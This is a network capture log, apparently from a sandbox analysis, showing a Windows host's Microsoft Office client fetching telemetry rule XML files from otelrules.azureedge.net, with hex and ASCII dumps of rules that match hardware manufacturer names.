2024-11-30 08:45:08 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 7e299a61-c01e-0049-0c07-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084508Z-174f7845968n2hr8hC1EWR9cag00000010sg000000007ph5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:08 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:08 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084508Z-174f7845968swgbqhC1EWRmnb4000000117g00000000atbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:08 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:08 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:08 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 14e4a643-101e-007a-3c66-40047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084508Z-174f7845968n2hr8hC1EWR9cag00000010wg000000002czs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:08 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:08 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6eee8137-f01e-0096-4bb4-4210ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084508Z-174f784596886s2bhC1EWR743w00000011b0000000000bbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:10 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:10 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 350da61a-901e-007b-1b03-42ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084510Z-174f7845968pf68xhC1EWRr4h800000011bg0000000082vy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:10 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:10 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084510Z-174f7845968frfdmhC1EWRxxbw00000011bg0000000004g3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:11 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:10 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2132beec-901e-00ac-46aa-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084510Z-174f7845968xlwnmhC1EWR0sv800000010x000000000a41x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:10 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:10 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 25bfb1e7-201e-00aa-3dab-423928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084510Z-174f7845968qj8jrhC1EWRh41s000000112g0000000071w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:10 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:11 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084511Z-174f7845968xr5c2hC1EWRd0hn0000000k40000000001n2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:11 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:12 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:13 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 19b520d0-901e-0015-6e4e-41b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084513Z-174f7845968pf68xhC1EWRr4h800000011hg000000000mm2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:13 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:12 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: feaf0f62-e01e-0071-4f14-4208e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084513Z-174f78459685726chC1EWRsnbg00000011900000000036ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:12 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:13 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084513Z-174f7845968kdththC1EWRzvxn0000000dkg000000002v14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:13 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S 